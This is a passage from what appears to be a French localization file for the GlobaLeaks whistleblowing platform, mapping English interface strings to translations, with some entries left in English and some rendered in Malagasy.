comments\": \"Activer les commentaires\",\n \"Allow whistleblowers to write comments\": \"Permettre aux lanceurs d’alerte de rédiger des commentaires\",\n \"Enable private messages\": \"Activer les messages privés\",\n \"Allow whistleblowers to send messages\": \"Permettre aux lanceurs d’alerte d’envoyer des messages\",\n \"Let whistleblowers add attachments onto existing reports\": \"Permettre aux lanceurs d’alerte d’ajouter des fichiers joints aux envois existants\",\n \"Let recipients upload files to whistleblowers\": \"Permettre aux destinataires de téléverser des fichiers pour les lanceurs d’alerte\",\n \"Scoring system options\": \"Scoring system options\",\n \"Threshold\": \"Seuil\",\n \"Value\": \"Valeur\",\n \"Medium\": \"Moyen\",\n \"Customize the message shown in the receipt page\": \"Personnaliser le message qui apparaît sur la page de réception\",\n \"Assign the receipt only to reports reaching score:\": \"N’attribuer le reçu qu’aux envois qui atteignent ce pointage :\",\n \"Software version:\": \"Version du logiciel :\",\n \"An update is available:\": \"Une mise à jour est proposée :\",\n \"Restrict access to specific IP addresses\": \"Réserver l’accès à des adresses IP précises\",\n \"Allowed IP addresses\": \"Allowed IP addresses\",\n \"Admin\": \"Administrateur\",\n \"Recipient\": \"Destinataire\",\n \"Whistleblower\": \"Lanceur d’alerte\",\n \"Each entry must be separated with a comma.\": \"Chaque entrée doit être séparée par une virgule.\",\n \"Example:\": \"Exemple :\",\n \"Hostname\": \"Nom d’hôte\",\n \"Input should be similar to:\": \"L’entrée devrait être similaire à :\",\n \"Using Let's Encrypt requires agreement to their Terms of Service.\": \"Vous devez accepter les conditions g��nérales d’utilisation de « Let’s Encrypt » pour l’utiliser.\",\n \"Read the Terms of Service\": \"Lire les conditions générales d’utilisation\",\n \"I agree to the Terms of Service.\": \"J’accepte les conditions générales d’utilisation.\",\n \"Country code\": \"Code de pays\",\n \"City\": \"Ville\",\n \"Organization\": \"Organisation\",\n \"Organizational unit\": \"Unité organisationnelle\",\n \"Invalid email address\": \"L’adresse courriel est invalide\",\n \"Generate\": \"Générer\",\n \"Private Key\": \"Clé privée\",\n \"Certificate Signing Request\": \"Demande de signature de certificat\",\n \"Certificate\": \"Certificat\",\n \"Valid until:\": \"Valide jusqu’au :\",\n \"Issuer:\": \"Émetteur :\",\n \"Intermediate Certificates\": \"Certificats intermédiaires\",\n \"Enable\": \"Activer\",\n \"Reset\": \"Réinitialiser\",\n \"The platform supports the configuration of HTTPS through this interface.\": \"La plateforme prend en charge la configuration de HTTPS par cette interface.\",\n \"Automatic configuration\": \"Configuration automatique\",\n \"Using automatic HTTPS configuration will handle the entire process of requesting, enabling and renewing certificates from the Let's Encrypt Certificate Authority.\": \"L’utilisation de la configuration automatique HTTPS prendra en charge le processus complet de demande, d’activation et de renouvellement des certificats de l’autorité de certification « Let’s Encrypt ».\",\n \"The platform must be reachable through a public IP address and the selected hostname must have a corresponding DNS record referencing that address.\": \"La plateforme doit être accessible par une adresse IP publique et le nom d’hôte sélectionné doit avoir un enregistrement DNS correspondant qui fait référence à cette adresse.\",\n \"Manual configuration\": \"Configuration manuelle\",\n \"The manual configuration wizard will guide you through the setup of HTTPS from an alternative Certificate Authority.\": \"L’assistant de configuration vous guidera dans les étapes de paramétrage de HTTPS à partir d’une autorité de certification alternative.\",\n \"Auto-renewal\": \"Renouvellement automatique\",\n \"Tor Onion Service\": \"Service oignon Tor\",\n \"Tor Browser download link\": \"Lien de téléchargement du navigateur Tor Browser\",\n \"Anonymize outgoing connections\": \"Anonymiser les connexions sortantes\",\n \"Let the platform be reachable without Tor\": \"Permettre l’accès à la plateforme sans Tor\",\n \"Roles enabled to use the platform without Tor\": \"Rôles pouvant utiliser la plateforme sans Tor\",\n \"To\": \"Hatramin'ny\",\n \"SMTP email address\": \"Adresse courriel SMTP\",\n \"SMTP server address\": \"Adresse du serveur SMTP\",\n \"SMTP server port\": \"Port du serveur SMTP\",\n \"Security\": \"Security\",\n \"Warning\": \"Avertissement\",\n \"Require authentication\": \"Exiger une authentification\",\n \"Number of hours before sending a report expiration alert\": \"Nombre d’heures avant d’envoyer l’alerte d’expiration d’un envoi\",\n \"Test the configuration\": \"Tester la configuration\",\n \"Reset SMTP configuration\": \"Reset SMTP configuration\",\n \"Reset notification templates to default\": \"Réinitialiser les modèles de notification à leur valeur par défaut\",\n \"Template\": \"Modèle\",\n \"Question\": \"Question\",\n \"Type\": \"Type\",\n \"Single-line text input\": \"Saisie de texte d’une ligne\",\n \"Multi-line text input\": \"Saisie de texte multiligne\",\n \"Selection box\": \"Case de sélection\",\n \"Checkbox\": \"Case à cocher \",\n \"Terms of service\": \"Conditions générales d’utilisation \",\n \"Date range\": \"Date range\",\n \"Map\": \"Carte\",\n \"Group of questions\": \"Groupe de questions\",\n \"Row\": \"Rangée\",\n \"Column\": \"Colonne\",\n \"Width\": \"Largeur\",\n \"Multiple choice input\": \"Multiple choice input\",\n \"Question group\": \"Groupe de questions\",\n \"Hint\": \"Infobulle\",\n \"Required\": \"Exigé\",\n \"Accept multiple file uploads\": \"Accepter le téléversement de plusieurs fichiers\",\n \"Accept multiple answers\": \"Accepter des réponses multiples\",\n \"Hint shown on the button for adding an additional answer\": \"Indication d’ajout de réponse supplémentaire, apparaissant sur le bouton\",\n \"Encrypt\": \"Encrypt\",\n \"Template override\": \"Remplacement du modèle\",\n \"Phone number\": \"Numéro de téléphone\",\n \"Checkbox label\": \"Étiquette de la case à cocher\",\n \"Add multimedia content\": \"Ajouter du contenu multimédia\",\n \"Image\": \"Image\",\n \"Audio\": \"Audio\",\n \"Video\": \"Vidéo\",\n \"Subject answer visibility to custodian authorization\": \"Soumettre la visibilité des réponses à l’autorisation des gardiens\",\n \"Text shown upon negative answer\": \"Texte affiché en cas de réponse négative\",\n \"Prompt confirmation upon negative answer\": \"Demander une confirmation en cas de réponse négative\",\n \"Text shown upon confirmation\": \"Texte affiché après confirmation\",\n \"Trigger conditions\": \"Conditions de déclenchement\",\n \"Sufficient\": \"Suffisante\",\n \"Options\": \"Options\",\n \"Addition\": \"Addition\",\n \"Multiplier\": \"Multiplicateur\",\n \"Questions\": \"Questions\",\n \"Add new question\": \"Ajouter une nouvelle question\",\n \"Add question from template\": \"Ajouter une question d’après un exemple\",\n \"Duplicate\": \"Dupliquer\",\n \"Steps\": \"Étapes\",\n \"Site settings\": \"Paramètres du site\",\n \"Case management\": \"Gestion des cas\",\n \"Network settings\": \"Paramètres réseau\",\n \"Mode:\": \"Mode :\",\n \"Root domain used for secondary sites\": \"Domaine racine utilisé pour les sites secondaires\",\n \"Use the first site for administrative purposes only\": \"N’utiliser le premier site qu’à des fins d’administration\",\n \"Allow users to sign up\": \"Permettre aux utilisateurs de s’inscrire\",\n \"Enable terms of service\": \"Activer les conditions générales d’utilisation\",\n \"Sites\": \"Sites\",\n \"Active\": \"Actif\",\n \"Inactive\": \"Inactif\",\n \"Configure\": \"Configurer\",\n \"Subdomain\": \"Subdomain\",\n \"Creation date:\": \"Creation date:\",\n \"Send an account activation link to the user.\": \"Send an account activation link to the user.\",\n \"Public name\": \"Public name\",\n \"Send reset link\": \"Send reset link\",\n \"Set password\": \"Set password\",\n \"Disable two factor authentication\": \"Disable two factor authentication\",\n \"Force password change\": \"Forcer un changement de mot de passe\",\n \"The user will be forced to change its password on next login.\": \"L’utilisateur sera forcé de changer le mot de passe lors de la prochaine connexion.\",\n \"Language\": \"Langue\",\n \"Enable email notifications\": \"Activer les notifications par courriel\",\n \"Details of the PGP key:\": \"Détails de la clé PGP :\",\n \"Fingerprint\": \"Empreinte\",\n \"Set up encryption by providing a PGP public key\": \"Configurer le chiffrement en fournissant une clé publique PGP\",\n \"Give this admin ability to change user passwords\": \"Give this admin ability to change user passwords\",\n \"Configuration\": \"Configuration\",\n \"Default\": \"Valeur par défaut\",\n \"Forcefully selected\": \"Sélectionné de force\",\n \"Allow the recipient to postpone the report expiration date\": \"Autoriser les destinataires à repousser la date d’expiration des envois\",\n \"Allow the recipient to delete reports\": \"Permettre aux destinataires de supprimer des envois\",\n \"Allow the recipient to grant permissions to whistleblowers on specific reports\": \"Permettre aux destinataires de donner des permissions aux lanceurs d’alerte pour des envois spécifiques\",\n \"User has administrative access to the following features:\": \"L’utilisateur a un accès d’administration aux fonctions suivantes :\",\n \"Request date\": \"Date de la demande\",\n \"Report date\": \"Date d’envoi\",\n \"Authorization\": \"Autorisation\",\n \"Identities\": \"Identités\",\n \"The validation link is either incorrect or has expired.\": \"Soit le lien de validation est incorrect soit il est expiré.\",\n \"Your new email address has been validated.\": \"Votre nouvelle adresse courriel a été validée.\",\n \"Forgot password?\": \"Mot de passe oublié ?\",\n \"Enter the two factor authentication code\": \"Enter the two factor authentication code\",\n \"Authentication failed\": \"Échec lors de l’authentification\",\n \"The code is either invalid or expired.\": \"Le côté est invalide ou expiré\",\n \"Site:\": \"Site :\",\n \"Please select your account:\": \"Veuillez sélectionner votre compte :\",\n \"Now type your password, then click 'Log in':\": \"Saisissez maintenant votre mot de passe, puis cliquez sur « Connexion » :\",\n \"Text shown after the user has selected the option.\": \"Text shown after the user has selected the option.\",\n \"Confirm\": \"Confirmer\",\n \"Add file\": \"Raha handefa rakitra ho porofo\",\n \"Are you sure?\": \"Êtes-vous certain ?\",\n \"The operation will reset the configuration and cannot be undone.\": \"L’opération réinitialisera la configuration et ne peut pas être annulée.\",\n \"Assign score points\": \"Attribuer un pointage\",\n \"Please note that all the associated data will be permanently deleted.\": \"Please note that all the associated data will be permanently deleted.\",\n \"This is a demo platform, please do not use it for real submissions.\": \"This is a demo platform, please do not use it for real submissions.\",\n \"Install an authenticator app on your phone\": \"Install an authenticator app on your phone\",\n \"Scan the QR code with the app\": \"Scan the QR code with the app\",\n \"Enable two factor authentication\": \"Activer l’authentification à deux facteurs\",\n \"Close\": \"Close\",\n \"Before proceeding please read carefully the documentation at:\": \"Before proceeding please read carefully the documentation at:\",\n \"Your account recovery key is:\": \"Your account recovery key is:\",\n \"Make a copy and store it in a safe place. It will be necessary if you lose your password to recover the access to your account without data loss.\": \"Make a copy and store it in a safe place. It will be necessary if you lose your password to recover the access to your account without data loss.\",\n \"Welcome!\": \"Bienvenue !\",\n \"For the user documentation, visit:\": \"Pour consulter la documentation utilisateur, visitez :\",\n \"If you need technical support, have general questions, or have new ideas for the software:\": \"Si vous souhaitez obtenir du soutien technique, si avez des questions d’ordre général ou une nouvelle idée pour le logiciel :\",\n \"If you want to contribute to software development or report a bug, please open an issue in our ticketing system:\": \"Si vous souhaitez participer au développement logiciel ou signaler un bogue, veuillez créer un billet de problème sur notre système de suivi :\",\n \"Join our chat:\": \"Join our chat:\",\n \"Follow the project on:\": \"Suivez le projet sur :\",\n \"Hint: How to hide your receipt\": \"Astuce : Comment cacher votre reçu ?\",\n \"A useful way to hide your receipt is to write it down like a credit card number, i.e. by also including an expiration date.\": \"Une bonne manière de cacher votre reçu est de le noter comme un numéro de carte de crédit, c.-à-d. en ajoutant aussi une date d’expiration.\",\n \"Error!\": \"Erreur !\",\n \"Internal server error\": \"Erreur interne du serveur\",\n \"Error on input validation\": \"Erreur de validation des données d’entrée\",\n \"Resource not found\": \"La ressource est introuvable\",\n \"Forbidden operation\": \"Opération interdite\",\n \"The specified old password is not valid\": \"L’ancien mot de passe est invalide\",\n \"Resource can only be accessed via the Tor network\": \"L’accès à cette ressource ne peut se faire que par le réseau Tor\",\n \"The upload request exceeds the size limit\": \"La demande de téléversement dépasse la limite de taille\",\n \"Success!\": \"Vous avez réussi !\",\n \"Validation of email address change in progress.\": \"La validation du changement d’adresse courriel est en cours.\",\n \"Please check your inbox for further instructions.\": \"Veuillez vérifier votre boîte de réception pour de plus amples instructions.\",\n \"Account recovery key\": \"Account recovery key\",\n \"Current password\": \"Mot de passe actuel\",\n \"Old password confirmation required\": \"La confirmation de l’ancien mot de passe est exigée\",\n \"It appears that you are browsing this site without any extra privacy and security!\": \"Vous parcourez apparemment ce site sans confidentialité ni sécurité supplémentaire !\",\n \"You are strongly advised to visit this site using the desktop app called Tor Browser, that protects your identity.\": \"Il vous est fortement recommandé d’utiliser le navigateur Tor pour accéder à ce site afin de protéger votre identité.\",\n \"Then, copy and paste the following address into the Tor Browser:\": \"Copier et coller ensuite l’adresse suivante dans le navigateur Tor :\",\n \"Enter a name for the copy\": \"Saisir un nom pour la copie\",\n \"Have you already filed a report? Enter your receipt.\": \"Raha efa nametraka fitarainana ianao dia ampidiro eto ambany avy hatrany ny teny miafina tarehimarika miisa 16 azonao.\",\n \"The receipt is either invalid or the report has expired.\": \"Soit le reçu est invalide soit votre envoi a expiré.\",\n \"Select a file or drag it here.\": \"Select a file or drag it here.\",\n \"Uploading files…\": \"Téléversement des fichiers…\",\n \"Upload completed successfully!\": \"Ny fandefasana ireo rakitra fanavaozana dia tafita soa aman-tsara!\",\n \"Error while uploading files; check below for details.\": \"Erreur de téléversement des fichiers ; voir les détails ci-dessous.\",\n \"Estimated upload time:\": \"Durée de téléversement estimée :\",\n \"Size:\": \"Taille :\",\n \"Enable the Ricochet panel\": \"Enable the Ricochet panel\",\n \"Address\": \"Adresse\",\n \"Chat with us anonymously using the Ricochet application\": \"Chat with us anonymously using the Ricochet application\",\n \"To chat with us use the following Ricochet address:\": \"To chat with us use the following Ricochet address:\",\n \"Download Ricochet at:\": \"Download Ricochet at:\",\n \"By using the Tor network and creating an Onion Service, Ricochet is an instant messaging app that allows you to chat while protecting your privacy and staying anonymous by not revealing your location or IP address. You won't notice any difference from an insecure chat, except that you will be using a unique address instead of a phone number/email/username.\": \"By using the Tor network and creating an Onion Service, Ricochet is an instant messaging app that allows you to chat while protecting your privacy and staying anonymous by not revealing your location or IP address. You won't notice any difference from an insecure chat, except that you will be using a unique address instead of a phone number/email/username.\",\n \"The connection is not secure.\": \"La connexion n’est pas sécurisée.\",\n \"The platform is still not configured for HTTPS connections and should therefore only be used for testing purposes.\": \"La plateforme n’est toujours pas configurée pour les connexions HTTPS et ne devrait être utilisée qu’à des fins de test.\",\n \"Use case\": \"Cas d’utilisation\",\n \"Anticorruption\": \"Anticorruption\",\n \"Corporate compliance\": \"Conformité des entreprises\",\n \"Investigative journalism\": \"Journalisme d’enquête\",\n \"Civic activism\": \"Activisme citoyen\",\n \"Submit\": \"Alefaso\",\n \"Recipients have requested you to fill an additional questionnaire.\": \"Les destinataires ont demandé à ce que vous remplissiez un questionnaire supplémentaire.\",\n \"Fill the additional questionnaire\": \"Remplir le questionnaire supplémentaire\",\n \"Send\": \"Envoyer\",\n \"Allow the whistleblower to write comments\": \"Permettre au lanceur d’alerte de rédiger des commentaires\",\n \"From:\": \"Avy amin'i:\",\n \"To:\": \"Ho an'i:\",\n \"Filename\": \"Nom de fichier\",\n \"Upload date\": \"Date de téléversement\",\n \"File size\": \"Taille du fichier\",\n \"download\": \"télécharger\",\n \"No files have been uploaded!\": \"Tandremo! Tsy misy rakitra lasa na koa voarainay.\",\n \"Allow the whistleblower to add attachments to the report\": \"Permettre au lanceur d’alerte d’ajouter des fichiers joints à l’envoi\",\n \"Report\": \"Envoi\",\n \"Access expiration\": \"Expiration de l’accès\",\n \"Never\": \"Jamais\",\n \"Revoked\": \"Révoqué\",\n \"Allow the whistleblower to send messages\": \"Permettre au lanceur d’alerte d’envoyer des messages\",\n \"Are you sure that you want to delete the report?\": \"Voulez-vous vraiment supprimer tous les envois sélectionnés ?\",\n \"Everything related to the report stored on the platform will be deleted.\": \"Toute information associée à l’envoi et stockée sur la plateforme sera supprimée.\",\n \"Please be aware that everything stored off the platform, e.g. files you have saved on your computer, must be deleted manually.\": \"Veuillez noter que tout ce qui est stocké en dehors de la plateforme, p. ex. les fichiers que vous avez enregistrés sur votre ordinateur, doit être supprimé manuellement.\",\n \"Are you sure that you want to delete the selected reports?\": \"Voulez-vous vraiment supprimer tous les envois sélectionnés ?\",\n \"Please make sure that all related data is properly deleted so that the recipients won't be able to further access to it.\": \"Veuillez vous assurer que toutes les données connexes ont bien été supprimées afin que les destinataires ne puissent plus y accéder.\",\n \"Please write a motivation for the reply\": \"Veuillez écrire le motif de la réponse\",\n \"Are you sure that you want to postpone the report expiration date?\": \"Voulez-vous vraiment repousser la date d’expiration de l’envoi ?\",\n \"By confirming, you will postpone the expiration date to:\": \"En confirmant, vous repousserez la date d’expiration au :\",\n \"Are you sure that you want to postpone the expiration date for all selected reports?\": \"Voulez-vous vraiment repousser la date d’expiration de tous les envois ?\",\n \"Questionnaire answers\": \"Valin'ireo fanontaniana\",\n \"Step\": \"Étape\",\n \"Recipient list\": \"Liste des destinataires\",\n \"Status:\": \"Status:\",\n \"Attached files for the whistleblower\": \"Pièces jointes pour le lanceur d’alerte\",\n \"Upload a file:\": \"Téléverser un fichier :\",\n \"Logout\": \"Déconnexion\",\n \"Files attached by recipients\": \"Pièces jointes par les destinataires\",\n \"These files have been attached to your report by the recipients.\": \"Ces fichiers ont été joints à votre envoi par les destinataires.\",\n \"The provided recovery key is invalid.\": \"The provided recovery key is invalid.\",\n \"The provided reset token is invalid or expired.\": \"Le jeton de réinitialisation fourni est invalide ou expiré.\",\n \"Enter your account's username or your email address to request a password reset.\": \"Saisissez le nom d’utilisateur de votre compte ou votre adresse courriel pour demander une réinitialisation du mot de passe.\",\n \"Enter your email address to request a password reset.\": \"Enter your email address to request a password reset.\",\n \"Enter you encryption recovery key to complete the password reset procedure\": \"Enter you encryption recovery key to complete the password reset procedure\",\n \"Password reset requested.\": \"Une réinitialisation de mot de passe a été demandée.\",\n \"Show\": \"Afficher\",\n \"Hide\": \"Cacher\",\n \"Access to the whistleblower's identity has been requested to the custodian.\": \"L’accès à l’identité du lanceur d’alerte a été demandé au gardien. \",\n \"Date of the request\": \"Date de la demande\",\n \"Undeclared\": \"Non déclarée\",\n \"Congratulations!\": \"Félicitations !\",\n \"You have completed the platform activation.\": \"L’activation de la plateforme est maintenant terminée.\",\n \"Your whistleblowing platform is almost ready!\": \"Votre plateforme de lancement d’alerte est presque prête !\",\n \"Check your inbox to activate it.\": \"Check your inbox to activate it.\",\n \"If not activated within 24 hours the platform will be automatically deleted.\": \"If not activated within 24 hours the platform will be automatically deleted.\",\n \"Sign up\": \"Inscription\",\n \"Domain\": \"Domaine\",\n \"Confirmation\": \"Confirmation\",\n \"Invalid confirmation\": \"Invalid confirmation\",\n \"Other\": \"Autre\",\n \"Complete\": \"Terminé\",\n \"Invalid phone number\": \"Le numéro de téléphone est invalide\",\n \"This field is mandatory.\": \"Tsy maintsy fenoina ny zavatra angatahina anao eto.\",\n \"The answer is too short.\": \"La réponse est trop courte\",\n \"The specified input is not valid.\": \"The specified input is not valid.\",\n \"The specified input is not valid:\": \"L’entrée spécifiée n’est pas valide :\",\n \"please enter a valid email address.\": \"veuillez saisir une adresse courriel valide.\",\n \"please enter numbers only.\": \"veuillez ne saisir que des chiffres.\",\n \"Submissions disabled\": \"Envois désactivés\",\n \"You are connecting to the server without anonymity and this server supports only anonymous submissions\": \"Vous êtes connecté à ce serveur sans anonymat, mais il ne prend en charge que les envois anonymes.\",\n \"Thank you!\": \"Misaotra anao !\",\n \"Your report was successful.\": \"Ny fanambarana fitorohana nataonao dia tafita soa aman-tsara.\",\n \"We will try to get back to you as soon as possible.\": \"Hiezaka ny hifanerasera aminao ao anatin'ny fotoana fohy izahay.\",\n \"Remember your receipt for this report.\": \"Tadidio ary ny tarehimarika miisa 16 omena anao mba ahafahanao miditra indray amin'io fitorohana nataonao io.\",\n \"Use the 16 digit receipt to log in. It will allow you to view any messages we sent you, and also to add extra info.\": \"Ampiasao ny tarehimarika miisa 16 anananao mba ahafahanao miditra amin'ny fitorohana efa nataonao. Rehefa taditra ianao dia ahita ireo hafatra izay alefan'ny tompon'andraikitra mandray ny fitorohana, ary ahafahanao manome fanampim-baovao sy porofo bebe kokoa.\",\n \"View your report\": \"Eto raha hijery ny fitorohana nalefanao\",\n \"Recipient selection\": \"Sélection du destinataire\",\n \"Recipients selected:\": \"Destinataires sélectionnés :\",\n \"You have reached the maximum number of selectable recipients.\": \"You have reached the maximum number of selectable recipients.\",\n \"In this step the answers to the following questions are either missing or invalid:\": \"Amin'izao dingana izao, ny valin'ny fanontaniana novalianao manaraka ireto dia tsy feno, na ihany koa tsy mifanaraka amin'ny zavatra angatahina : \",\n \"Errors\": \"Errors\",\n \"You must select at least one recipient.\": \"Vous devez au moins choisir un destinataire.\",\n \"Waiting for the file(s) to finish uploading.\": \"En attente de la fin du téléversement des fichiers.\",\n \"The following steps have errors:\": \"Les étapes suivantes présentent des erreurs :\",\n \"The following step-by-step procedure will guide you through creating your whistleblowing platform.\": \"La procédure étape par étape suivante vous guidera dans la création de votre plateforme de lancement d’alerte.\",\n \"Please choose a configuration profile:\": \"Veuillez choisir un profil de configuration :\",\n \"These profiles contain settings used by successful projects in each respective field.\": \"Ces profils contiennent les paramètres utilisés par des projets couronnés de succès dans chacun de ces domaines.\",\n \"Please choose a different username.\": \"Please choose a different username.\",\n \"The user will receive an activation link via email.\": \"The user will receive an activation link via email.\",\n \"License Agreement\": \"Contrat de licence\",\n \"Please review the license terms before proceeding.\": \"Veuillez examiner les conditions de la licence avant de poursuivre.\",\n \"I have read and agree to the terms of the License Agreement.\": \"J’ai lu et accepte les conditions du contrat de licence.\",\n \"You have completed the platform wizard.\": \"Vous avez terminé avec succès l’assistant de la plateforme.\",\n \"Fill out your report\": \"Remplissez votre dossier\",\n \"Short title\": \"Titre abrégé\",\n \"Describe your report in a few words.\": \"Describe your report in a few words.\",\n \"Full description\": \"Description complète\",\n \"Describe your report in detail.\": \"Décrivez votre envoi en détail.\",\n \"Attach files relevant to the report.\": \"Alefaso eto ireo porofo mivaingana anananao.\",\n \"Do you want to provide your identification information?\": \"Voulez-vous fournir vos renseignements d’identification ?\",\n \"First name\": \"Prénom\",\n \"Last name\": \"Nom de famille\",\n \"Gender\": \"Genre\",\n \"Male\": \"Homme\",\n \"Female\": \"Femme\",\n \"Other gender identity\": \"Autre identité de genre\",\n \"Date of birth\": \"Date de naissance\",\n \"Place of birth\": \"Lieu de naissance\",\n \"Social security number\": \"Numéro d’assurance sociale\",\n \"Residence\": \"Résidence\",\n \"Zip code / Postal code\": \"Code postal\",\n \"Province\": \"Province\",\n \"Current job title\": \"Appellation d’emploi actuelle\",\n \"Current job responsibility (role)\": \"Responsabilité professionnelle (rôle) actuelle\",\n \"Current organization unit and job location\": \"Unité organisationnelle et lieu d’emploi actuels\",\n \"Job title at the time of the reported fact\": \"Appellation d’emploi à l’époque du fait rapporté\",\n \"Job responsibility (role) at the time of the reported fact\": \"Responsabilité professionnelle (rôle) à l’époque du fait rapporté\",\n \"Organization unit and job location at the time of the reported fact\": \"Unité organisationnelle et lieu d’emploi à l’époque du fait rapporté\",\n \"Dear {RecipientName},\": \"Cher, chère {RecipientName},\",\n \"You're receiving this email because a user account has been created for you on the system: {Site}\": \"You're receiving this email because a user account has been created for you on the system: {Site}\",\n \"Username: {Username}\": \"Nom d’utilisateur : {Username}\",\n \"Activation link: {Url}\": \"Activation link: {Url}\",\n \"Please click on the activation link to proceed with the account activation and to set your user password.\": \"Please click on the activation link to proceed with the account activation and to set your user password.\",\n \"This link will expire in 3 days.\": \"This link will expire in 3 days.\",\n \"After successful activation you will be able to access the system via the following link: {LoginUrl}\": \"After successful activation you will be able to access the system via the following link: {LoginUrl}\",\n \"Kind regards,\": \"Salutations cordiales,\",\n \"Account activation\": \"Account activation\",\n \"Your whistleblowing platform is now accessible at:\": \"Il est maintenant possible d’accéder à votre plateforme de lancement d’alerte sur :\",\n \"To log in, visit:\": \"Pour vous connecter, visitez :\",\n \"Users' credentials:\": \"Renseignements sur les utilisateurs :\",\n \"The platform will be automatically deleted on:\": \"La plateforme sera supprimée automatiquement le :\",\n \"Access instructions\": \"Instructions d’accès\",\n \"The number of activities recently detected appears to be higher than usual.\": \"Le nombre d’activités détectées récemment semble supérieur à l’habitude.\",\n \"This could be a sign of an attack (for example, someone flooding your server with bogus information) or just a usage spike due to an increased visibility of your project.\": \"Cela pourrait être le signe d’une attaque (par exemple quelqu’un inondant votre serveur de pseudo-informations) ou simplement d’un pic d’utilisation causé par la visibilité accrue de votre projet.\",\n \"Examine the issue to determine whether it is legitimate or not.\": \"Examiner le problème afin de déterminer s’il est valide ou non.\",\n \"The activities with unusual stats are:\": \"Voici les activités présentant des statistiques inhabituelles :\",\n \"The server cannot guarantee that a new report can be stored, so submissions have been disabled.\": \"Le serveur ne peut pas garantir qu’un nouvel envoi sera enregistré, et par conséquent les envois ont été suspendus.\",\n \"Please consider asking your technical support to create more disk space on the server.\": \"Veuillez envisager de demander à votre soutien technique de créer de l’espace disque sur le serveur.\",\n \"GlobaLeaks technology includes a server status checking component which will alert you in case something requires your attention.\": \"La technologie GlobaLeaks inclut un composant de vérification de l’état du serveur qui vous alertera au cas où quelque chose exige votre attention.\",\n \"For more information, log in to the Administration interface and look at the \\\"System Stats\\\" and \\\"Anomalies\\\" sections.\": \"Pour davantage d’informations, connectez-vous à l’interface d’administration et consultez les sections « Statistiques du système » et « Anomalies ».\",\n \"Anomaly detected in {NodeName}\": \"Une anomalie a été détectée sur {NodeName}\",\n \"This is an email to inform you that the PGP key of the following users is going to expire or has already expired:\": \"Le but de ce courriel est de vous informer que la clé PGP des utilisateurs suivants va expirer ou a déjà expirée :\",\n \"Without a valid PGP key, the system will not be able to send them encrypted notifications.\": \"Sans clé PGP valide, le système ne pourra pas leur envoyer des notifications chiffrées.\",\n \"PGP key expiration alert\": \"Alerte d’expiration de la clé PGP\",\n \"A new whistleblowing site has been registered.\": \"Un nouveau site de lancement d’alerte a été enregistré.\",\n \"Registration data:\": \"Données d’enregistrement :\",\n \"Site: {Url}\": \"Site: {Url}\",\n \"Name: {Name}\": \"Nom : {Name}\",\n \"Email: {Email}\": \"Adresse courriel : {Email}\",\n \"Language: {Language}\": \"Langue : {Language}\",\n \"Use case: {UseCase}\": \"Cas d’utilisation : {UseCase}\",\n \"New whistleblowing site registered\": \"Un nouveau site de lancement d’alerte a été enregistré.\",\n \"This is a test email sent out from the platform's administrative interface.\": \"Ceci est un courriel de test envoyé par l’interface d’administration de la plateforme.\",\n \"Reception of this email indicates that the server was able to authenticate to and interact with the SMTP mail server.\": \"La réception de ce courriel indique que le serveur a réussi à s’authentifier auprès du serveur de courriel SMTP et à interagir avec lui.\",\n \"Test email\": \"Courriel de test\",\n \"This is an email to notify you of a new comment on an existing report.\": \"Le but de ce courriel est de vous signaler un nouveau commentaire à propos d’un envoi existant.\",\n \"The report can be accessed at:\": \"L’envoi est accessible à :\",\n \"New comment\": \"Nouveau commentaire\",\n \"This is an email to notify you that a request has been made to change your email address to {NewEmailAddress}.\": \"Le but de ce courriel est de vous informer qu’une demande a été faite pour changer votre adresse courriel en {NewEmailAddress}.\",\n \"Click the following link to validate this change:\": \"Cliquez sur le lien suivant pour valider ce changement : \",\n \"If you didn't request this change, change your password and contact your system administrator.\": \"Si vous n’êtes pas à l’origine de cette demande, changez votre mot de passe et contactez votre administrateur de système.\",\n \"Email change request\": \"Demande de changement d’adresse courriel\",\n \"From: {Author}\": \"From: {Author}\",\n \"Date: {EventTime}\": \"Date : {EventTime}\",\n \"From: Whistleblower\": \"De : lanceur d’alerte\",\n \"Date: {SubmissionDate}\": \"Date : {SubmissionDate}\",\n \"Label: {TipLabel}\": \"Étiquette : {TipLabel}\",\n \"Status: {TipStatus}\": \"Status: {TipStatus}\",\n \"Context: {ContextName}\": \"Contexte : {ContextName}\",\n \"This is an email to notify you that the whistleblower of report {TipNum} has attached new material.\": \"Le but de ce courriel est de vous signaler que le lanceur de l’alerte {TipNum} a ajouté de nouveaux documents.\",\n \"New attachment\": \"Nouveau fichier joint\",\n \"The HTTPS certificate loaded on the platform is about to, or has already expired.\": \"Le certificat HTTPS chargé sur la plateforme arrive à expiration ou est déjà expiré.\",\n \"Expiration date: {ExpirationDate}\": \"Date d’expiration : {ExpirationDate}\",\n \"Without a valid certificate, the platform will be accessible in a secure way only via Tor.\": \"Sans certificat valide, la plateforme ne sera accessible de façon sécurisée que par Tor.\",\n \"Log in to solve the issue.\": \"Connectez-vous pour résoudre la situation.\",\n \"Expiration alert for HTTPS certificate\": \"Alerte d’expiration du certificat HTTPS\",\n \"The automatic HTTPS certificate renewal scheduled for today just failed.\": \"Le renouvellement automatique du certificat HTTPS planifié pour aujourd’hui a échoué.\",\n \"The system will keep trying.\": \"Le système continuera d’essayer.\",\n \"Failed HTTPS certificate renewal\": \"Échec de renouvellement du certificat HTTPS\",\n \"This is an email to notify you that a custodian has authorized you to access to the whistleblowing identity for the report {TipNum}.\": \"Le but de ce courriel est de vous signaler qu’un gardien vous a autorisé l’accès à l’identité du lanceur d’alerte pour l’envoi {TipNum}.\",\n \"Access to whistleblower's identity authorized\": \"L’accès à l’identité du lanceur d’alerte est autorisé\",\n \"This is an email to notify you that a custodian has denied you access to the whistleblowing identity for the report {TipNum}.\": \"This is an email to notify you that a custodian has denied you access to the whistleblowing identity for the report {TipNum}.\",\n \"Access to whistleblower's identity denied\": \"L’accès à l’identité du lanceur d’alerte est refusé\",\n \"This is an email to notify you that a recipient has requested access to the whistleblower's identity for the report {TipNum}\": \"Le but de ce courriel est de vous signaler qu’un destinataire a demandé l’accès à l’identité du lanceur d’alerte pour l’envoi {TipNum}.\",\n \"The request can be accessed at:\": \"La demande est accessible à :\",\n \"New request of access to a whistleblower's identity\": \"Nouvelle demande d’accès à l’identité d’un lanceur d’alerte \",\n \"This is an email to notify you that the whistleblower for the report {TipNum} has provided their identity.\": \"Le but de ce courriel est de vous signaler que le lanceur d’alerte de l’envoi {TipNum} a fourni son identité.\",\n \"The whistleblower has provided their identity\": \"Le lanceur d’alerte a fourni son identité\",\n \"This is an email to notify you of a new message on an existing report.\": \"Le but de ce courriel est de vous 